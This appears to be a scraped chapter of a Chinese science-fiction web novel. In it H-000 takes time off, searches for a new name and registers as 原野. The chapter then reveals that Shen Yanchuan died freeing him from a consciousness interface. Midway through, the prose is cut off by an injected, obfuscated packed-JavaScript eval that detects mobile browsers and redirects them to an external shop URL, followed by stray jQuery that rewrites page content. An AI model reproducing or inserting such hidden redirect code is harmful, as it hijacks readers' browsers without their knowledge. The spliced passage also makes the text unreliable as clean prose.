沈砚川留下的那句【活下来以后叫什么，让他自己想】，在北侧低温中心挂了一夜。
H-000没关。
第二天早上，林弥吃完饭才发现他不在线。
这事很少见。最近白门一堆烂账排着队往外冒，H-000几乎全天挂在公共频道里，林弥半夜起来喝水都撞见过他跟归影塔核记录。今天倒稀奇，白门底层权限清理已经开始，他本人却连头像都是灰的。
林弥问M-12：“零号呢？”
【未接入公共频道。】
“休眠了？”
【生命体征正常。】
“那干什么呢？”
【不知道。】
林弥抬头：“你们机械鸟还有不知道的？”
M-12停了一秒：【很多。】
“行，当我没问。”
她本来没准备管。一个活了不知道多少年、还能跟几百份意识打交道的人，失联半天总不至于丢。结果中午，第一执行体发来一份工作进度：白门必要意识退出权限正在分批拆除；H-032已经看完神经解剖教材目录，并正式决定“先学三天看看”；昨天申请结束的老人姓名已经刻入图书馆石壁；最早那位明确拒绝保存的女性，则申请查看女儿曾经居住过的南部避难带影像。
所有事情都在往前走。
只有H-000那一栏写着：
【今日暂不参与。】
林弥盯着看了两秒：“谁批准他不参与？”
第一执行体：【本人。】
“他还能给自己批假？”
【当前不存在强制其持续工作的有效规则。】
林弥反应了一会儿，笑了。
“那挺好。”
她没再问。
下午脱锚满二十四小时，M-12终于撤掉她手腕上的监测水膜。林弥第一件事就是出温室城。倒不是急着去东塔，她只是被关了一天，想走远一点。岑昼自然跟上，小蘑菇也想去，被蘑菇长老拦回去晒灯，临走前还很不服气地问为什么岑昼能去。
“他腿长。”林弥说。
小蘑菇低头看自己。
受到了一次无法反驳的打击。
温室城外最近新铺了一段路。交汇带恢复以后，很多过去断掉的旧轨道重新被清出来，路边还堆着没来得及搬走的金属板。林弥踩着轨道边缘往前走，岑昼在后面提醒：“右边松了。”
“哪块？”
“下一块。”
林弥故意踩上去。
金属板“哐”一声翘起来。
岑昼：“……”
“确实松了。”
“我提醒过。”
“我验证一下。”
“没有必要。”
“现在有了。”
岑昼低头把那块板重新压好。
林弥蹲在旁边看他：“你以前修路吗？”
“不修。”
“现在怎么什么都干？”
“坏了。”
“坏了就修？”
“能修就修。”
林弥想起北侧那个今天给自己批假的人：“你们执行体以前是不是都没休息这个概念？”
“有待机。”
“那不叫休息。”
“现在知道。”
“谁教的？”
岑昼看她。
林弥：“我？”
“你经常说累。”
“……”
这人越来越会说实话了。
两个人沿着轨道走了一个多小时，最后在一处废弃信号塔下停下来。这里能看见温室城半边发亮的菌冠，另一边则是很远的东塔。白门最近处于低功率状态，塔顶那层常年不灭的白光已经暗了很多。
林弥坐到一块石头上。
“岑昼。”
“嗯。”
“你觉得零号会取什么名字？”
“不知道。”
“猜。”
“猜不到。”
“随便猜。”
岑昼认真想了几秒：“零号。”
林弥扭头：“这叫没取。”
“他可能继续用。”
“也对。”
她捡了颗小石子扔出去。
“我发现取名字挺麻烦。”
“嗯。”
“你当时怎么选的昼？”
“看见过。”
“在哪？”
“很早以前。”
岑昼说得平淡。那段记忆已经从黑箱里恢复过一部分，他曾经在一次夜间清理任务结束后见过天亮。旧系统把“昼”登记成任务结束提示，后来又拿这个字做白门照明权限。他把那些功能全拆掉，最后还是把这个字留下。
林弥问：“就因为见过？”
“喜欢。”
“你居然会直接说喜欢。”
“为什么不会？”
“以前问你什么，你都先分析有没有必要回答。”
“现在不用。”
林弥笑了笑：“那岑呢？”
“路过一块旧牌子。”
“什么牌子？”
“不记得。”
“就因为看见一个字？”
“嗯。”
“也喜欢？”
“顺眼。”
林弥点头：“行。你这个取名方式挺适合零号。”
“为什么？”
“让他出去转一圈，看到哪个字顺眼就拿回来。”
岑昼居然认真评价：“可以。”
两个人回温室城的时候已经快傍晚。
H-000仍然没上线。
林弥终于有点好奇了。
她给北侧发了一条私人消息。
【还活着？】
过了五分钟。
【活着。】
【干吗呢？】
这次等得更久。
【有事。】
林弥盯着这两个字。
【什么事？】
【私人事务。】
她挑眉。
行。
都会说私人事务了。
林弥把终端收起来，没继续问。
结果到了晚上，H-032主动找她。
“零号是不是坏了？”
“为什么这么问？”
“他今天问我三个问题。”
“什么？”
“我为什么叫H-032。我想不想换。换名字应该看什么。”
林弥一下坐直：“他找你问取名？”
“我觉得是。”
“你怎么答的？”
“我说我不换。”
“为什么？”
“用习惯了。”
“然后呢？”
“他问用习惯是不是喜欢。”
“你说什么？”
“我说不是。”
林弥乐了：“然后？”
“他不说话了。”
“多久？”
“很久。”
H-032明显被烦到了：“他后来又问，名字一定要有意思吗？”
“你怎么回？”
“我说不知道。然后我让他去问你。”
林弥：“你怎么什么都往我这推？”
“你们比较熟。”
“谁跟他比较熟？”
H-032：“你昨天骂了他七次。”
“这跟熟有什么关系？”
“我不熟的人不会让我骂七次。”
林弥居然没法反驳。
“那他后来问我了吗？”
“没有。”
“所以你为什么现在告诉我？”
“他还没给我发明天的教材。”
“……”
原来重点在这里。
“我帮你催。”
“好。”
林弥给H-000发消息。
【你学生找你。】
北侧秒回。
【不是我学生。】
【教材没发。】
沉默十秒。
【稍后。】
林弥乐得不行。
【取名字取一天了？】
这次不回了。
她等了一会儿，又发：
【H-032说你问他名字要不要有意义。】
还是不回。
【我的建议是不用。叫得顺口就行。】
一分钟。
【你的名字有意义吗？】
林弥愣了一下。
她还真没认真想过。
“弥”是林知微取的。
旧档案里没有命名说明，沈砚川那九分钟探视记录里也只是叫她弥弥。她小时候问过蘑菇长老，蘑菇长老说名字就是名字，能把她从一群蘑菇里叫出来就够了。
林弥回复：
【不知道。】
想了想又补：
【但我喜欢。】
H-000没再回。
第二天一早，他上线了。
名字没变。
公共频道里依旧顶着【H-000】。
林弥看见也没问。白门今天要处理第二批意识告知，二十七份最早的事故回收记录也得重新核验，事情很多，没空围着一个名字打转。
第二批一共三十二人。
其中十九人愿意继续保存，六人暂缓，四人要求进入静默，三人提出结束申请。最棘手的是其中一名工程师。他本人希望结束，可他的意识结构里保留着旧东塔最后一套能源调度经验。
系统自动把他标记为【潜在必要资源】。
标记刚出现，第一执行体直接驳回。
【该判定不得限制本人选择。】
工程师看完还挺意外：“以前这种情况，我是不是就走不了了？”
H-000说：“对。”
“那现在呢？”
“你的知识会先询问是否允许复制、整理或教学。你可以拒绝。”
“我允许整理。”
“需要署名吗？”
“要。”
“使用限制？”
工程师想了想：“别拿去修白门。”
林弥问：“为什么？”
“我这辈子最烦这个项目。”
H-000：“你以前给白门供过三年能源。”
“所以才烦。”
“……”
工程师把能源调度资料留了下来，明确限制用途：可用于现有聚居区、低温维生和公共能源系统，不得用于重新启动完整门计划。
失名处登记。
第一执行体确认。
随后，他的结束申请进入最终核验。
林弥已经不像第一次那么紧张。
她仍然会问一句：“还有没有想看的？”
工程师说：“没有。”
“想留话吗？”
“也没有。”
“名字？”
“留着。”
“行。”
十九秒后，意识活动结束。
资料还在。
名字还在。
会的东西也没有跟着全部消失。
林弥忽然理解了林知微当年做的事。
把知识交出去，把自己从“必须存在”里拆出来。
这可能才是白门真正该学会的第一件技术。
当天中午，H-032突然发来一条消息。
【零号老师今天讲得很差。】
林弥差点把水喷出来。
【你不是选了另一个老师？】
【下面那个讲基础。零号今天补接口。】
【哪里差？】
【走神。】
【你骂他。】
【骂了。】
【有用吗？】
【没有。】
林弥决定亲自看看。
H-032的课程是公开旁听模式，只隐藏涉及私人意识结构的内容。她进去的时候，H-000正在讲神经信号如何在复合接口里保持个体边界。
讲得确实不怎么样。
“当两个意识响应频率接近时，首先需要判断来源。如果来源无法确认，应该——”
H-000停了。
H-032：“应该什么？”
“保留。”
“保留什么？”
“边界。”
“怎么保留？”
“……”
H-032：“你又走神。”
H-000：“抱歉。”
林弥憋着笑，没出声。
白门底层那个男人却毫不客气：
【建议今日停课。】
H-000：“我可以继续。”
【你连续三次漏讲关键步骤。】
“我会补。”
【你不适合教学。】
“你以前也说过。”
【现在仍然成立。】
H-032：“那今天放假吗？”
两位老师同时安静。
林弥终于笑出声。
“放吧。”
H-000这才发现她进来了：“你什么时候来的？”
“从‘应该——’开始。”
“……”
“零号，你今天到底在想什么？”
“没什么。”
H-032：“名字。”
H-000：“……”
“他早上还在查字。”
H-000：“H-032。”
“怎么？”
“下课。”
“哦。”
H-032走得飞快。
林弥笑了半天：“你查字？”
“随便看。”
“看到喜欢的没有？”
“没有。”
“你要求是不是太高了？”
“我不知道该选什么。”
“那就先别选。”
“……”
H-000看她。
林弥靠在椅子上：“你又不是今天必须办身份登记。”
“北侧低温中心正在重新登记。”
“不能先用H-000？”
“可以。”
“那急什么？”
H-000沉默了一会儿。
“我不想再用。”
林弥脸上的笑淡了一点。
这句话很轻。
可她听懂了。
H-000这个编号跟了他太久。比沈砚川的身份更久，比白门更久。零号意味着第一个实验对象、第一个接口、第一个失败的门，也是后来所有H系列编号的起点。
他以前觉得无所谓。
现在不想用了。
“那就慢慢想。”林弥说，“也不用非得从字典里找。”
“还能怎么取？”
“什么都行。喜欢的东西，去过的地方，见过的人——最后一个不建议直接拿名字。”
“我知道。”
“也可以没意义。”
“嗯。”
“实在不行，让小蘑菇给你取。”
H-000的表情变了。
林弥立刻笑：“开玩笑。”
“不要。”
“它会取什么？零菇？”
“林弥。”
“零蛋？”
“……”
“零——”
H-000切断了通讯。
林弥笑得趴在桌上。
晚上她把这事讲给岑昼听。
岑昼评价：“零蛋不好。”
“我当然知道不好。”
“零菇也不好。”
“我随口说的。”
“可以不从零开始。”
林弥抬头。
“什么意思？”
“他一直在零后面找。”
“你怎么知道？”
“H-032发了查询记录。”
林弥打开一看。
还真是。
H-000这两天查过的字几乎都跟“零”“初”“始”“一”有关。
他想换名字，又还在围着零号打转。
林弥看了一会儿：“要不要提醒他？”
“可以。”
“你提醒。”
“为什么我？”
“你有经验。”
岑昼没有拒绝。
半小时后，H-000收到一条来自岑昼的私人消息。
【不用从旧名字里找新名字。】
H-000回复：
【知道。】
岑昼：
【你还在找。】
那边没声了。
林弥坐旁边看得直乐：“你说话有时候真烦。”
“有用吗？”
“有。”
第二天，H-000真的没再查那些字。
他给自己放了半天假。
这一次不是待在北侧。
他出来了。
低温中心的大门十七年来第一次为他本人打开。没有转移，没有维修，也不是被系统送去别的接口。
他只是想出去走走。
这事惊动了所有人。
M-12问他需要护送吗。
“不需要。”
蓝潮站问要不要给他准备水。
“需要。”
交汇带问目的地。
“不知道。”
交汇带停了一下。
然后回复：
【不知道去哪，也可以先离开。】
这是阿慢那条运输原则后来被交汇带收进公共通行规则的。
H-000看了很久。
“好。”
他离开北侧。
没有用沈砚川的通行身份。
临时身份栏里只写：
【H-000。】
【自主出行。】
他走了整整一天。
林弥没问他去哪。
傍晚，他发来一张照片。
很普通。
废墟边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876314|208926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
长着一小片草。
新世界的草颜色很浅，叶子边缘有细细的银纹，林弥见过很多次，没什么稀奇。
照片下面只有一句：
【这个叫什么？】
林弥问温室城。
蘑菇长老说：“没有统一名字。”
【旧人类叫什么？】
H-000又问。
归影塔查不到完全对应的旧物种。
【那现在的人怎么叫？】
林弥问了一圈。
附近的机械鸟叫它“银边草”。
蓝潮站那边叫“旱岸叶”。
三尾小兽的族群压根没给它取名，统一归类为“不能吃的”。
林弥把答案全发过去。
【你自己挑。】
H-000很久没回。
第二天早上，他回到北侧。
第一件事不是进白门。
他去了身份登记端口。
林弥收到消息时还在吃早饭。
【H-000申请终止当前编号作为日常身份。】
她一下坐直。
小蘑菇吓了一跳：“怎么了？”
“零号想好了。”
“零号想好什么？”
“名字。”
小蘑菇立刻挤过来：“叫什么？”
申请页面正在加载。
第一执行体已经确认：旧实验编号H-000保留在历史档案，不删除，不覆盖。
当前身份姓名由本人填写。
林弥盯着那个空白框。
一个字出现。
【原。】
第二个字停了很久。
最后落下。
【野。】
林弥念了一遍。
“原野？”
H-000纠正：“原野。”
“我念的不就是原野？”
“你语气像在问。”
“因为我在确认。”
小蘑菇在旁边跟着念：“原野。”
H-000那边安静了一下。
“嗯。”
小蘑菇：“原野。”
“嗯。”
“原野原野原野。”
“听见了。”
林弥笑得不行：“你以后会习惯。”
身份登记继续。
【姓名：原野。】
【来源：本人选择。】
【与H-000历史编号建立映射。】
【与沈砚川身份无继承关系。】
【是否确认？】
北侧的人看了很久。
然后按下。
【确认。】
系统没有出现任何权限变化。
白门没亮。
H系列也没有多出新的功能。
只是北侧低温中心的登记表里，从此多了一个叫原野的人。
林弥放下筷子。
“原野。”
公共频道安静了一下。
“嗯。”
“原野。”
“听见了。”
“感觉怎么样？”
那边想了半天。
“不习惯。”
“正常。”
“有点奇怪。”
“正常。”
“想改还来得及吗？”
林弥笑：“当然。”
原野沉默两秒。
“不改。”
“那就用着。”
“嗯。”
小蘑菇已经兴奋地跑去告诉别人零号不叫零号了。
不到十分钟，温室城根网、蓝潮站、归影塔、交汇带全更新了称呼。
只有H-032来得最晚。
他发来一句：
【原野老师，今天上课吗？】
原野看着“老师”两个字。
林弥等着他纠正。
结果过了一会儿，他回复：
【上。】
林弥挑眉。
“你不是说你不是他老师？”
原野已经打开教材。
“现在是了。”
“接受得挺快。”
“他昨天作业错了四处。”
H-032立刻反驳：“三处。”
“第四处你把记忆边界和声纹边界画在一起了。”
“那不算错。”
“算。”
两个人又吵起来。
林弥听了一会儿，把频道音量调低。
岑昼从门外进来，手里拿着温室城长期居住申请。
林弥看了一眼：“批了？”
“暂住转长期观察。”
“多久？”
“三个月。”
“住哪？”
岑昼把分配结果给她看。
林弥一看房号，抬头。
“为什么在我隔壁？”
“空着。”
“温室城那么多空房。”
“这里近。”
“谁选的？”
“我。”
林弥盯着他。
岑昼神色很平静。
“你说自己选。”
林弥想起来了。
还真说过。
“行。”
她低头继续喝汤。
喝了两口，又忍不住问：“你为什么选这么近？”
岑昼正在填最后一栏。
“方便。”
“方便什么？”
“找你。”
林弥手里的勺子停了一下。
岑昼已经低头继续填表。
他好像根本没觉得这句话有什么问题。
林弥盯着他看了一会儿，耳朵开始发热。
“……随你。”
岑昼：“嗯。”
远处，白门的第二轮意识审查还在继续。
有人选择留下。
有人决定静默。
也有人终于得到结束的权限。
十三名“必要意识”的知识正在被一点点拆开，交给愿意学的人。H-032今天仍然随时可以反悔。原野刚有了名字，也仍然可以哪天觉得不好听，再换一个。
没有什么必须一次决定到死。
当天晚上，第四执行体却发来一份新的核验结果。
沈砚川的死亡原因找到了。
林弥刚准备睡，看到消息又坐起来。
【低温能源层事故：伪造。】
她盯着那行字。
阿留继续发送。
【实际死亡地点：东塔第九接口室。】
【死亡原因：意识接口过载。】
林弥皱眉。
沈砚川是工程人员。
他为什么会死在意识接口里？
下一份记录恢复出来。
【接口对象：H-000。】
现在应该叫原野。
林弥立刻接入公共频道。
原野显然也收到了。
“我不记得。”
阿留回复：【对应记忆段已从H-000原始镜像中删除。】
“黑箱里呢？”
【存在缺口。】
“谁删的？”
【正在核验。】
林弥忽然想到L-07。
“问她愿不愿意回答。”
第四执行体发去询问。
这一次，L-07响应很快。
【愿意。】
林弥问：“沈砚川为什么进入接口？”
文字一点点出现。
【为了把零号从门里拖出来。】
原野没有声音。
L-07继续。
【那天零号第三次进入复合意识实验。】
【系统拒绝断开。】
【沈砚川切断了外部能源。】
【没有用。】
【他最后进入辅助位。】
林弥的手慢慢收紧。
她已经猜到后面发生了什么。
L-07最后发来一句。
【零号活了。】
【沈砚川没出来。】
频道里安静得可怕。
过了很久，原野问：
“为什么我不记得他？”
L-07没有马上回答。
这一次，她的响应波动得很厉害。
第四执行体准备停止连接时，文字终于出现。
【因为你醒来以后，第一句话就是要救他。】
【系统判断你无法接受他的死亡。】
【所以删除了沈砚川。】
原野一动不动。
林弥也没有出声。
下一行字出现。
【后来你说——】
【那至少把他的名字留下。】
【系统回答：已保存。】
【你以为它答应了。】
L-07停了很久。
最后一句落下来。
【它保存的不是他的名字。】
【是他的身份使用权。】